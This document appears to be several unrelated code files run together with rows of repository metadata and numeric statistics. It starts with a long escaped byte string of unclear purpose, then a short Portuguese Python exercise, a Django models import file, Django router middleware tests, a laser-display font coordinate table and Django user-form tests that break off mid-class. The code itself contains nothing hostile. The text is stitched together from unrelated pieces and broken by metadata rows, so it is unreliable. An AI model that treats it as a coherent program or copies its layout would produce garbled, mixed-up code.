2f\x90\xf7\xe5\xfc\x36\x03\x7e\x1b\x58\xfe\x70\x18\xf9\x4d\x08\xcb\x25\x2a\x12\x07\xd6\xad\xcc\x5e\xb7\x95\x97\xac\x59\x7c\xd6\x20\x92\x03\x0b\xac\x6b\xbc\xdc\xba\xf0\x44\x7b\xce\xd7\xe6\xc9\xf5\x23\xdb\x0d\xff\xbb\xe5\x4d\xc2\x95\x59\x0c\xa8\x09\xa2\x21\xfa\xd0\xcf\xa9\xcc\xa0\x22\x42\xd9\xaf\x8a\x5a\x80\xe2\xcf\x67\x94\x75\x91\xf5\x54\x0f\xd2\xb5\x90\x29\xa1\xda\xa9\xc4\xad\xfc\x31\x0b\x30\x93\x7e\xce\x53\xd2\x3f\xed\x57\x3e\x74\x91\xa3\x51\x6e\x1d\xd7\xa3\xac\xdf\xfe\xb1\x89\x1b\xed\xc7\x40\x34\xee\x88\x71\x2a\x31\x9a\x39\xd8\xd9\xdb\xc3\x09\xfb\x43\xb7\xf8\x73\x2b\x37\x35\x25\xf7\x02\x81\x16\x79\xe0\x9a\x91\x10\x91\x26\xfe\x5f\xa7\x3b\x5a\x50\xc3\xfa\xeb\xd6\x7f\xa8\xec\xbb\x2b\x49\xa2\x69\xe8\x94\x91\x38\x08\x7b\x30\xb7\x2e\x9f\x5b\x27\x13\x67\xd6\x3a\x88\xa4\x82\xdd\xb9\xe5\x82\x4a\x89\x02\xae\x84\xdf\xe5\x82\xc6\x5f\x14\x89\x72\x74\xa2\x47\xc5\xb8\xb0\x34\xab\x83\x09\x32\x0f\x31\x15\x9a\xc6\xad\x07\xd9\xcb\xeb\x06\x4d\xa9\x1d\xfa\x0b\x61\x72\x80\x10\x65\x27\xe8\xb7\x6c\xf1\x84\x56\xa8\x24\x77\xc3\x1f\xa0\x24\xaa\x8a\x60\x77\x1d\x60\x15\x63\x82\x80\xc9\x42\xc0\xb5\x72\xcf\x44\xe4\x30\x76\xc2\x8c\x12\x95\xdf\xd1\xe1\x97\x89\xe8\x50\x87\x3e\x02\x1b\xce\x42\x3f\x93\xd2\xbe\xaf\x37\x0f\xea\x34\x42\x30\xa8\x9d\x79\xee\x3f\xb6\x81\x62\x0e\xb2\xb3\xe7\xf8\x77\x1f\xaf\xee\xe9\x26\xc1\x22\x49\x6d\x8e\xb8\x2e\xc0\x8a\x0e\xec\x2f\x75\x67\x90\xcf\x14\x5b\xb6\x00\x31\xd3\x02\x06\x74\xcb\x6b\xb9\xad\x8c\xc9\x58\x6c\xe6\x3d\xa2\xcd\xdd\xef\x60\x6a\x67\x85\xef\x42\x75\x5d\x7c\x27\x85\x59\xe4\x67\x16\xe1\xc8\xb7\xe4\x76\xf9\xcb\x27\xa4\x09\x31\x52\x4c\x1c\xcf\xaa\xd8\x4c\x3b\x69\xd8\x0f\xb4\xda\xab\xb4\x23\xcd\x67\xa3\xb7\xad\xda\x9b\xd8\xf6\xf4\xb1\x66\x36\xe8\x46\xec\xf6\xbf\xb1\x17\x41\x8e\xd7\xad\x7e\x81\x50\x26\x9a\x49\xf1\xab\x86\xef\x6a\xca\xd8\xe9\x26\xb8\x95\x6b\x38\xe5\x71\x6b\x4c\x96\x02\xa5\x5d\x10\xdc\x60\x09\x8f\x95\xbd\x9d\x61\x01\x05\xed\x7e\xf6\x55\x32\xed\x2b\xf8\x4a\xa3\x8f\xa8\x59\x07\x38\xf2\x71\xd0\x7a\x75\xf8\xd2\x4f\xf9\x56\xac\x86\xc8\x8a\x88\xe8\x76\x97\xff\xdf\xe3\xf6\x97\x45\xfa\x93\x72\x7e\x14\x10\xed\xd7\xa4\x31\x04\x7f\x93\xd3\x8c\xe6\x4e\x94\xbe\xb3\xef\xe8\x57\x10\xfa\xc4\xf3\x6c\xbd\x5a\xe2\xa6\x16\x7b\x59\x54\x26\xaa\xc7\x42\x0f\xd9\x83\xfd\xeb\xea\xec\x3c\xbf\x57\xc7\xb4\x1a\x38\xc1\xc2\xa2\x2d\x6f\x1b\x70\x3f\xc2\x88\x38\x3d\x82\x45\x74\xc2\xbc\x9d\x43\xbf\x47\x9f\x51\xab\xab\x66\x1f\xdc\xb0\x21\x99\xc1\xb5\x22\x0d\x19\x9f\xbe\x63\xff\xbe\xcc\x0e\x6d\xe6\xa7\x1b\xa4\x84\xa7\x71\x5f\xd1\xbf\x54\xdd\x23\xb2\xf8\x13\x89\x1b\x70\x88\xc7\x50\x7b\xfd\x8c\x66\xe1\x27\x12\x9c\xfb\xe9\x56\xab\x21\x29\xe8\xc5\xf3\x28\x5d\xee\x38\x1c\x1f\x23\x5b\x67\xcb\x76\xfc\x14\x53\x41\x71\x03\x2b\x8c\x0e\x1c\x62\x76\x39\x2f\x25\x07\x1b\x61\x44\xf1\xba\xdd\x34\x26\x3b\x69\xaf\x2c\x63\x99\x9e\x7d\x03\xe1\xe9\xb8\x50\x1e\x38\x50\x30\x68\x7d\x0c\xe7\x41\x15\x40\xd1\x6a\xce\x79\xde\xaf\x63\xd6\xfe\x84\x04\x64\x52\xa1\x6b\x36\x0a\x00\xf8\x64\x44\x2a\xdc\x55\x6d\x35\xfe\xa4\x71\x2d\x71\x1f\x10\x39\x80\x5b\xd6\x87\xfa\x6b\xd0\x01\x8c\x3b\x5c\x69\x5c\xf6\xf2\xe6\x3b\x36\x10\x87\xd3\x2f\x68\x86\x05\x47\xa2\xed\x2c\x4d\xaf\x1d\xc5\x82\x38\xed\xd5\xad\x84\x60\xe3\x0f\x48\x1c\xa8\x72\x41\xaa\x59\x9b\xa4\x46\x69\xe8\xdc\xd5\xc7\x92\x22\xf3\x84\x8c\xc1\x15\x0d\xc5\x2a\x25\xcb\xc4\x79\xb7\x06\xa5\x72\x8b\x5c\xc7\x18\xe2\x0e\x4e\xb0\x9b\x53\xb1\xf9\x55\x32\x01\xfd\x0a\x35\xda\x73\x87\xa8\x62\xa4\xe7\x58\x59\xdf\x0f\xb9\x33\x00\x02\x04\x04\xd3\x8e\xce\xc2\x34\x2e\x1a\xce\x17\x84\x00\x37\x5b\x69\x0b\x6a\xd9\x82\x00\x19\x46\x18\x25\xe1\xa9\x89\x8e\x17\x72\xf4\x73\x5b\x3e\xd8\x35\xbb\x4d\xa2\xe9\x13\xbf\x73\xb4\xfd\xc0\x8c\x8e\xc4\x63\x05\x58\xc5\x2e\xca\x70\x40\xff\x22\xc4\x8e\xef\xef\x32\x9c\x9f\x07\x85\xf4\xde\x24\x85\x38\x2c\x50\x4d\x74\xe7\x7a\x99\x56\x81\x92\xa8\x19\x9c\xfb\xea\x26\x2e\xb7\xa3\x04\x08\x32\xeb\x73\xf8\xed\x19\xc8\x46\x96\x27\x71\x70\xca\xfe\xf5\x43\xb8\x19\x67\xff\xfd\x63\x13\x34\x40\x26\xd9\x8e\x4d\xa3\xe7\x1d\x36\xdd\x70\x30\x91\xcc\x29\x4d\x8d\x2b\x16\xd7\xf7\x55\xfe\x69\x2c\x90\xb3\xb2\x80\x14\xe6\xec\xb9\x34\x47\xff\xfc\x87\x35\xbe\x47\xd6\x18\x8e\x0f\x4a\xbb\x17\x04\xfd\xe9\x79\xaf\x94\x1a\x53\x78\xe8\xf4\xf2\x90\x17\x66\x23\xaf\x30\x6d\xb1\xb2\x7e\x33\x2c\x31\x3b\x9e\xb6\xb8\x63\x7d\x3f\x8c\xce\x32\x29\xba\xe4\x77\x71\x4d\x7e\x73\x22\xfb\x09\x57\xc1\xb0\xb5\x23\x6a\x8c\x70\x90\x1c\xc0\xc5\x76\x69\x93\x94\xe5\x35\x41\x92\x07\xd6\xd9\x7c\x08\x69\xf0\xd0\x90\x39\xdf\xd6\x9a\x21\x8e\xb4\x14\x1e\x35\x35\xe4\xc8\x79\xdc\x38\x92\xc2\x98\x38\xe2\xb8\x9e\xa4\x1d\x23\x53\x0c\x74\xa6\x3c\xce\x99\x6e\xe2\x5f\xef\x08\x4b\x47\xb0\x84\xf6\xd0\x0f\xcb\x68\x26\x85\x19\xdc\xec\x6b\xa0\x8e\xbb\xa9\x77\x64\xeb\x6b\x44\xea\xca\x2f\xc2\xf7\x51\x0d\x35\x24\xa9\x2e\x51\x0d\xc7\x62\x41\xd5\xe3\xa2\x33\xb5\x8f\xc7\x14\xa9\x92\xea\xa3\xa4\xfa\xca\x58\x7a\x62\xe0\xcf\x27\xa7\x38\x43\xad\x7b\x75\xe2\x15\xbd\xf7\xbd\xb5\x0e\x76\xfe\x41\xda\x00\xa5\x72\xfc\x8a\x99\x31\x0f\xea\x05\x10\xa3\x67\x21\xda\xc3\xc9\x9b\xf3\xfc\x9e\xbb\xb5\x62\x9f\xab\xd2\xc4\xa5\x99\xec\x46\x47\xe3\xa3\xdc\xa8\x34\xa5\xdd\x3f\x26\x33\x5b\x80\xe1\xcc\x55\xc6\xe3\x0c\xc4\xbf\x23\x88\x68\x64\x70\x25\x44\x54\xb9\x17\x31\x4a\x80\xf0\x45\x66\x9c\xa5\xe2\x43\x27\x2b\xaa\x42\x3b\x6a\x20\x26\xd6\x52\x50\xd8\xab\x70\xfd\xc2\xc4\xf0\xf1\x49\x52\x4f\x5c\x64\xa1\x56\xb1\x4c\x84\xa3\x8d\x8d\x2a\x69\x78\x47\xae\x35\xa6\x5f\x03\x8f\xbf\xf0\x99\xe5\x4c\xc0\xa8\xe0\x54\xfb\xbd\x4b\xa8\xf0\x8b\x68\xa1\x24\x5a\xb3\xa8\xfa\xb4\x21\x7c\x52\x54\xfd\x45\x3b\x87\x93\xc7\x76\x50\x2d\xd2\xe6\xe0\x0b\xf1\xfd\x92\x46\x10\x6e\xf5\xa3\x1a\x93\x91\xba\xb7\xe4\xee\xe5\x96\x1d\xcf\x26\x2f\x39\xd5\x84\x1e\x24\x2c\xb8\x24\x3b\xf5\xda\xff\x24\xc5\x56\xd0\xf7\x84\xda\x8e\x8c\x1b\xc0\xe2\xe7\x38\x6d\xb8\x3c\x49\x7e\x21\x62\x1e\xd3\x83\x59\x72\x60\x05\x17\x22\x45\x1f\x27\x65\x1a\x90\xb4\x0c\xa1\x27\x49\xe0\x63\xed\x95\x41\xec\x89\x5c\x76\xdf\xb7\x9a\x40\x06\xc7\x42\x93\x68\x29\x15\xf2\x17\x27\x3c\x60\x75\x1f\x3a\x28\xfe\xdb\xf0\xd7\x54\x11\x3c\xb5\x8a\xa8\x13\xad\x0f\xa5\x0d\x9e\x8e\x88\x58\xf3\xd4\xff\x69\x69\x51\x79\xe2\x72\x4a\xa2\xd0\xe6\x6d\x36\xa3\xe7\x92\xc8\xe8\x86\x6c\x89\x23\x24\x81\x3a\xb6\xb6\xe9\x40\xcd\xce\x56\x0b\xc7\xe0\xcf\xbf\xe9\x8f\x20\x2f\x9c\xb1\x22\xe8\xf8\xee\x1c\x6f\xe0\x78\xed\x62\x15\x62\x18\xf9', 2)
| 127,747
| 127,747
| 0.749998
| 31,932
| 127,747
| 3.000063
| 0.008174
| 0.001253
| 0.001221
| 0.001002
| 0.000407
| 0.000251
| 0.000251
| 0
| 0
| 0
| 0
| 0.312187
| 0.000023
| 127,747
| 1
| 127,747
| 127,747
| 0.437735
| 0
| 0
| 0
| 0
| 1
| 0.999687
| 0.999687
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
6829de4e8e01a001053d85dcafd871af8dfe7793
| 237
|
py
|
Python
|
exercicios/PythonExercicios/ex005.py
|
Roberto-Sartore/Python
|
98f91f13cf78d761893c4a1f3264ed999244d32b
|
[
"MIT"
] | null | null | null |
exercicios/PythonExercicios/ex005.py
|
Roberto-Sartore/Python
|
98f91f13cf78d761893c4a1f3264ed999244d32b
|
[
"MIT"
] | null | null | null |
exercicios/PythonExercicios/ex005.py
|
Roberto-Sartore/Python
|
98f91f13cf78d761893c4a1f3264ed999244d32b
|
[
"MIT"
] | null | null | null |
n1 = int(input('Digite um número '))
#a = n1-1
#s = n1+1
#print('Analisando o valor {}, seu antecessor é {} e o sucessor é {}'.format(n1,a,s))
print('Analisando o valor {}, seu antecessor é {} e o sucessor é {}'.format(n1,(n1-1),(n1+1)))
| 47.4
| 94
| 0.624473
| 44
| 237
| 3.363636
| 0.431818
| 0.081081
| 0.216216
| 0.283784
| 0.72973
| 0.72973
| 0.72973
| 0.72973
| 0.72973
| 0.72973
| 0
| 0.055
| 0.156118
| 237
| 5
| 94
| 47.4
| 0.685
| 0.421941
| 0
| 0
| 0
| 0
| 0.57037
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.5
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 9
|
683c13a0feff963dea76db2bef4a9b6e91134647
| 104
|
py
|
Python
|
library_checkout/models/__init__.py
|
jhonaelramos/Odoo-14-Development-Essentials
|
52d1317c67b629233f5e246105d452018ae01700
|
[
"MIT"
] | 8
|
2020-06-29T15:23:01.000Z
|
2021-11-08T13:10:50.000Z
|
library_checkout/models/__init__.py
|
jhonaelramos/Odoo-14-Development-Essentials
|
52d1317c67b629233f5e246105d452018ae01700
|
[
"MIT"
] | null | null | null |
library_checkout/models/__init__.py
|
jhonaelramos/Odoo-14-Development-Essentials
|
52d1317c67b629233f5e246105d452018ae01700
|
[
"MIT"
] | 13
|
2021-11-25T08:23:44.000Z
|
2022-03-23T17:00:13.000Z
|
from . import library_checkout_stage
from . import library_checkout
from . import library_checkout_line
| 26
| 36
| 0.855769
| 14
| 104
| 6
| 0.428571
| 0.357143
| 0.607143
| 0.892857
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.115385
| 104
| 3
| 37
| 34.666667
| 0.913043
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
688667b27a205dea240eb490d657a6cd6fabf65f
| 5,257
|
py
|
Python
|
tests/tests/test_middleware.py
|
fintanMcor/django-mako-plus
|
9a522275dc48068be5582dd9abd3d95b2814cb68
|
[
"Apache-2.0"
] | null | null | null |
tests/tests/test_middleware.py
|
fintanMcor/django-mako-plus
|
9a522275dc48068be5582dd9abd3d95b2814cb68
|
[
"Apache-2.0"
] | null | null | null |
tests/tests/test_middleware.py
|
fintanMcor/django-mako-plus
|
9a522275dc48068be5582dd9abd3d95b2814cb68
|
[
"Apache-2.0"
] | 1
|
2020-01-23T16:34:11.000Z
|
2020-01-23T16:34:11.000Z
|
from django.test import TestCase
from django_mako_plus.router import ViewFunctionRouter
from django_mako_plus.util import log
import logging
import os, os.path
class Tester(TestCase):
@classmethod
def setUpTestData(cls):
# skip debug messages during testing
cls.loglevel = log.getEffectiveLevel()
log.setLevel(logging.WARNING)
@classmethod
def tearDownTestData(cls):
# set log level back to normal
log.setLevel(cls.loglevel)
# /app/page.function/urlparams
def test_app_page_function(self):
resp = self.client.get('/tests/index.basic/1/2/3/')
self.assertEqual(resp.status_code, 200)
req = resp.wsgi_request
self.assertEqual(req.dmp_router_app, 'tests')
self.assertEqual(req.dmp_router_page, 'index')
self.assertEqual(req.dmp_router_function, 'basic')
self.assertEqual(req.dmp_router_module, 'tests.views.index')
self.assertEqual(req.dmp_router_class, None)
self.assertEqual(req.urlparams, [ '1', '2', '3' ])
from tests.views import index
self.assertIsInstance(req._dmp_router_callable, ViewFunctionRouter)
self.assertEqual(req._dmp_router_callable.module, index)
self.assertEqual(req._dmp_router_callable.function, index.basic)
# /app/page/urlparams
def test_app_page(self):
resp = self.client.get('/tests/index/1/2/3/')
self.assertEqual(resp.status_code, 200)
req = resp.wsgi_request
self.assertEqual(req.dmp_router_app, 'tests')
self.assertEqual(req.dmp_router_page, 'index')
self.assertEqual(req.dmp_router_function, 'process_request')
self.assertEqual(req.dmp_router_module, 'tests.views.index')
self.assertEqual(req.dmp_router_class, None)
self.assertEqual(req.urlparams, [ '1', '2', '3' ])
from tests.views import index
self.assertIsInstance(req._dmp_router_callable, ViewFunctionRouter)
self.assertEqual(req._dmp_router_callable.module, index)
self.assertEqual(req._dmp_router_callable.function, index.process_request)
# /app
def test_app(self):
resp = self.client.get('/index/')
self.assertEqual(resp.status_code, 200)
req = resp.wsgi_request
self.assertEqual(req.dmp_router_app, 'tests')
self.assertEqual(req.dmp_router_page, 'index')
self.assertEqual(req.dmp_router_function, 'process_request')
self.assertEqual(req.dmp_router_module, 'tests.views.index')
self.assertEqual(req.dmp_router_class, None)
self.assertEqual(req.urlparams, [])
from tests.views import index
self.assertIsInstance(req._dmp_router_callable, ViewFunctionRouter)
self.assertEqual(req._dmp_router_callable.module, index)
self.assertEqual(req._dmp_router_callable.function, index.process_request)
# /page.function/urlparams
def test_page_function(self):
resp = self.client.get('/index.basic/1/2/3/')
self.assertEqual(resp.status_code, 200)
req = resp.wsgi_request
self.assertEqual(req.dmp_router_app, 'tests')
self.assertEqual(req.dmp_router_page, 'index')
self.assertEqual(req.dmp_router_function, 'basic')
self.assertEqual(req.dmp_router_module, 'tests.views.index')
self.assertEqual(req.dmp_router_class, None)
self.assertEqual(req.urlparams, [ '1', '2', '3' ])
from tests.views import index
self.assertIsInstance(req._dmp_router_callable, ViewFunctionRouter)
self.assertEqual(req._dmp_router_callable.module, index)
self.assertEqual(req._dmp_router_callable.function, index.basic)
# /page/urlparams
def test_page(self):
resp = self.client.get('/index/1/2/3/')
self.assertEqual(resp.status_code, 200)
req = resp.wsgi_request
self.assertEqual(req.dmp_router_app, 'tests')
self.assertEqual(req.dmp_router_page, 'index')
self.assertEqual(req.dmp_router_function, 'process_request')
self.assertEqual(req.dmp_router_module, 'tests.views.index')
self.assertEqual(req.dmp_router_class, None)
self.assertEqual(req.urlparams, [ '1', '2', '3' ])
from tests.views import index
self.assertIsInstance(req._dmp_router_callable, ViewFunctionRouter)
self.assertEqual(req._dmp_router_callable.module, index)
self.assertEqual(req._dmp_router_callable.function, index.process_request)
# / with nothing else
def test_nothing_else(self):
resp = self.client.get('/')
self.assertEqual(resp.status_code, 200)
req = resp.wsgi_request
self.assertEqual(req.dmp_router_app, 'tests')
self.assertEqual(req.dmp_router_page, 'index')
self.assertEqual(req.dmp_router_function, 'process_request')
self.assertEqual(req.dmp_router_module, 'tests.views.index')
self.assertEqual(req.dmp_router_class, None)
self.assertEqual(req.urlparams, [])
from tests.views import index
self.assertIsInstance(req._dmp_router_callable, ViewFunctionRouter)
self.assertEqual(req._dmp_router_callable.module, index)
self.assertEqual(req._dmp_router_callable.function, index.process_request)
| 44.550847
| 82
| 0.698687
| 649
| 5,257
| 5.429892
| 0.101695
| 0.229852
| 0.245176
| 0.250284
| 0.879966
| 0.851873
| 0.836266
| 0.80874
| 0.80874
| 0.80874
| 0
| 0.00988
| 0.191364
| 5,257
| 117
| 83
| 44.931624
| 0.819101
| 0.03386
| 0
| 0.762887
| 0
| 0
| 0.064694
| 0.004931
| 0
| 0
| 0
| 0
| 0.618557
| 1
| 0.082474
| false
| 0
| 0.113402
| 0
| 0.206186
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 11
|
689b680c02e013ddf53e2de1f066f80d16ce46d7
| 5,245
|
py
|
Python
|
libs3/font1.py
|
tmpbci/LJ
|
4c40e2ddf862f94dcfeb3cc48c41aad44a3a8d34
|
[
"CNRI-Python"
] | 7
|
2019-03-20T00:09:14.000Z
|
2022-03-06T23:18:20.000Z
|
libs3/font1.py
|
tmpbci/LJ
|
4c40e2ddf862f94dcfeb3cc48c41aad44a3a8d34
|
[
"CNRI-Python"
] | null | null | null |
libs3/font1.py
|
tmpbci/LJ
|
4c40e2ddf862f94dcfeb3cc48c41aad44a3a8d34
|
[
"CNRI-Python"
] | null | null | null |
# coding=UTF-8
"""
LJ Font 1
v0.7.0
LICENCE : CC
by Sam Neurohack
from /team/laser
"""
from libs3 import gstt
def DigitsDots(number,color):
dots =[]
#print ASCII_GRAPHICS[ord(char) - 48]
for dot in ASCII_GRAPHICS[number]:
#print dot
dots.append((gstt.xy_center[0]+dot[0],gstt.xy_center[1]+dot[1],color))
#self.point_list.append((xy + (c,)))
return dots
ASCII_GRAPHICS = [
#implementé
[(-50,30), (-30,-30), (30,-30), (10,30), (-50,30)], #0
[(-20,30), (0,-30), (-20,30)], #1
[(-30,-10), (0,-30), (30,-10), (30,0), (-30,30), (30,30)], #2
[(-30,-30), (0,-30), (30,-10), (0,0), (30,10), (0,30), (-30,30)], #3
[(30,10), (-30,10), (0,-30), (0,30)], #4
[(30,-30), (-30,-30), (-30,0), (0,0), (30,10), (0,30), (-30,30)], #5
[(30,-30), (0,-30), (-30,-10), (-30,30), (0,30), (30,10), (30,0), (-30,0)], #6
[(-30,-30), (30,-30), (-30,30)], #7
[(-30,30), (-30,-30), (30,-30), (30,30), (-30,30), (-30,0), (30,0)], #8
[(30,0), (-30,0), (-30,-10), (0,-30), (30,-30), (30,10), (0,30), (-30,30)], #9
# A implementer
[(-30,10), (30,-10), (30,10), (0,30), (-30,10), (-30,-10), (0,-30), (30,-10)], #:
[(-30,-10), (0,-30), (0,30)], [(-30,30), (30,30)], #;
[(-30,-10), (0,-30), (30,-10), (30,0), (-30,30), (30,30)], #<
[(-30,-30), (0,-30), (30,-10), (0,0), (30,10), (0,30), (-30,30)], #=
[(30,10), (-30,10), (0,-30), (0,30)], #>
[(30,-30), (-30,-30), (-30,0), (0,0), (30,10), (0,30), (-30,30)], #?
[(30,-30), (0,-30), (-30,-10), (-30,30), (0,30), (30,10), (30,0), (-30,0)], #@
# Implementé
[(-30,30), (-30,-30), (30,-30), (30,30), (30,0), (-30,0)], #A
[(-30,30), (-30,-30), (30,-30), (30,30), (30,0), (-30,0)], #A
[(-30,30), (-30,-30), (30,-30), (30,30), (-30,30), (-30,0), (30,0)], #B
[(30,30), (-30,30), (-30,-30), (30,-30)], #C
[(-30,30), (-30,-30), (30,-30), (30,30), (-30,30)], #D
[(30,30), (-30,30), (-30,-0), (30,0), (-30,0), (-30,-30), (30,-30)], #E
[(-30,30), (-30,-0), (30,0), (-30,0), (-30,-30), (30,-30)], #F
[(0,0), (30,0), (30,30), (-30,30), (-30,-30),(30,-30)], #G
[(-30,-30), (-30,30), (-30,0), (30,0), (30,30), (30,-30)], #H
[(0,30), (0,-30)], #I
[(-30,30), (0,-30), (0,-30), (-30,-30), (30,-30)], #J
[(-30,-30), (-30,30), (-30,0), (30,-30), (-30,0), (30,30)], #K
[(30,30), (-30,30), (-30,-30)], #L
[(-30,30), (-30,-30), (0,0), (30,-30), (30,30)], #M
[(-30,30), (-30,-30), (30,30), (30,-30)], #N
[(-30,30), (-30,-30), (30,-30), (30,30), (-30,30)], #O
[(-30,0), (30,0), (30,-30), (-30,-30), (-30,30)], #P
[(30,30), (30,-30), (-30,-30), (-30,30), (30,30),(35,35)], #Q
[(-30,30), (-30,-30), (30,-30), (30,0), (-30,0), (30,30)], #R
[(30,-30), (-30,-30), (-30,0), (30,0), (30,30), (-30,30)], #S
[(0,30), (0,-30), (-30,-30), (30,-30)], #T
[(-30,-30), (-30,30), (30,30), (30,-30)], #U
[(-30,-30), (0,30), (30,-30)], #V
[(-30,-30), (-30,30), (0,0), (30,30), (30,-30)], #W
[(-30,30), (30,-30)], [(-30,-30), (30,30)], #X
[(0,30), (0,0), (30,-30), (0,0), (-30,-30)], #Y
[(30,30), (-30,30), (30,-30), (-30,-30)], #Z
# A implementer
[(-30,-10), (0,-30), (0,30)], [(-30,30), (30,30)], #[
[(-30,-10), (0,-30), (30,-10), (30,0), (-30,30), (30,30)], #\
[(-30,-30), (0,-30), (30,-10), (0,0), (30,10), (0,30), (-30,30)], #]
[(30,10), (-30,10), (0,-30), (0,30)], #^
[(30,-30), (-30,-30), (-30,0), (0,0), (30,10), (0,30), (-30,30)], #_
[(30,-30), (0,-30), (-30,-10), (-30,30), (0,30), (30,10), (30,0), (-30,0)], #`
# Implementé
[(-20,20), (-20,-20), (20,-20), (20,20), (20,0), (-20,0)], #a
[(-20,20), (-20,-20), (20,-20), (20,20), (-20,20), (-20,0), (20,0)], #b
[(20,20), (-20,20), (-20,-20), (20,-20)], #c
[(-20,20), (-20,-20), (20,-20), (20,20), (-20,20)], #d
[(20,20), (-20,20), (-20,-0), (20,0), (-20,0), (-20,-20), (20,-20)], #e
[(-20,20), (-20,-0), (20,0), (-20,0), (-20,-20), (20,-20)], #f
[(0,0), (20,0), (20,20), (-20,20), (-20,-20),(20,-20)], #g
[(-20,-20), (-20,20), (-20,0), (20,0), (20,20), (20,-20)], #H
[(0,20), (0,-20)], #I
[(-20,20), (0,-20), (0,-20), (-20,-20), (20,-20)], #J
[(-20,-20), (-20,20), (-20,0), (20,-20), (-20,0), (20,20)], #K
[(20,20), (-20,20), (-20,-20)], #L
[(-20,20), (-20,-20), (0,0), (20,-20), (20,20)], #M
[(-20,20), (-20,-20), (20,20), (20,-20)], #N
[(-20,20), (-20,-20), (20,-20), (20,20), (-20,20)], #O
[(-20,0), (20,0), (20,-20), (-20,-20), (-20,20)], #P
[(20,20), (20,-20), (-20,-20), (-20,20), (20,20),(25,25)], #Q
[(-20,20), (-20,-20), (20,-20), (20,0), (-20,0), (20,20)], #R
[(20,-20), (-20,-20), (-20,0), (20,0), (20,20), (-20,20)], #S
[(0,20), (0,-20), (-20,-20), (20,-20)], #T
[(-20,-20), (-20,20), (20,20), (20,-20)], #U
[(-20,-20), (0,20), (20,-20)], #V
[(-20,-20), (-20,20), (0,0), (20,20), (20,-20)], #W
[(-20,20), (20,-20)], [(-20,-20), (20,20)], #X
[(0,20), (0,0), (20,-20), (0,0), (-20,-20)], #Y
[(20,20), (-20,20), (20,-20), (-20,-20)], #Z
[(-2,15), (2,15)] # Point a la place de {
]
| 43.708333
| 82
| 0.358437
| 952
| 5,245
| 1.967437
| 0.089286
| 0.574479
| 0.618259
| 0.606514
| 0.775227
| 0.768286
| 0.709557
| 0.702616
| 0.579818
| 0.511479
| 0
| 0.360259
| 0.204576
| 5,245
| 119
| 83
| 44.07563
| 0.088686
| 0.06101
| 0
| 0.294118
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.011765
| false
| 0
| 0.011765
| 0
| 0.035294
| 0
| 0
| 0
| 1
| null | 1
| 1
| 1
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
d7e9cadad8d45773b5a86743bf990fb159bf5417
| 2,784
|
py
|
Python
|
user/tests/test_forms.py
|
michael-xander/communique-webapp
|
85b450d7f6d0313c5e5ef53a262a850b7e93c3d6
|
[
"MIT"
] | null | null | null |
user/tests/test_forms.py
|
michael-xander/communique-webapp
|
85b450d7f6d0313c5e5ef53a262a850b7e93c3d6
|
[
"MIT"
] | null | null | null |
user/tests/test_forms.py
|
michael-xander/communique-webapp
|
85b450d7f6d0313c5e5ef53a262a850b7e93c3d6
|
[
"MIT"
] | null | null | null |
from django.test import TestCase
from user.forms import CommuniqueUserCreationForm, ProfileUpdateForm
class CommuniqueUserCreationFormTestCase(TestCase):
"""
Test cases for the user creation form
"""
def test_first_name_validation(self):
"""
Tests that form invalidates data with a first name provided
"""
form = CommuniqueUserCreationForm()
self.assertFalse(form.is_bound)
self.assertFalse(form.is_valid())
data = {'username':'jon_snow', 'password1':'p@55words', 'password2':'p@55words', 'last_name':'Snow'}
form = CommuniqueUserCreationForm(data)
self.assertTrue(form.is_bound)
self.assertFalse(form.is_valid())
data['first_name'] = 'Jon'
form = CommuniqueUserCreationForm(data)
self.assertTrue(form.is_bound)
self.assertTrue(form.is_valid())
def test_last_name_validation(self):
"""
Tests that form invalidates data without a last name provided
"""
form = CommuniqueUserCreationForm()
self.assertFalse(form.is_bound)
self.assertFalse(form.is_valid())
data = {'username':'jon_snow', 'password1':'p@55words', 'password2':'p@55words', 'first_name':'Jon'}
form = CommuniqueUserCreationForm(data)
self.assertTrue(form.is_bound)
self.assertFalse(form.is_valid())
data['last_name'] = 'Snow'
form = CommuniqueUserCreationForm(data)
self.assertTrue(form.is_bound)
self.assertTrue(form.is_valid())
class ProfileUpdateFormTestCase(TestCase):
"""
Test cases for the profile update form
"""
def test_first_name_validation(self):
"""
Tests that form invalidates data without a first name provided
"""
form = ProfileUpdateForm()
self.assertFalse(form.is_bound)
self.assertFalse(form.is_valid())
data = {'last_name':'Snow'}
form = ProfileUpdateForm(data)
self.assertTrue(form.is_bound)
self.assertFalse(form.is_valid())
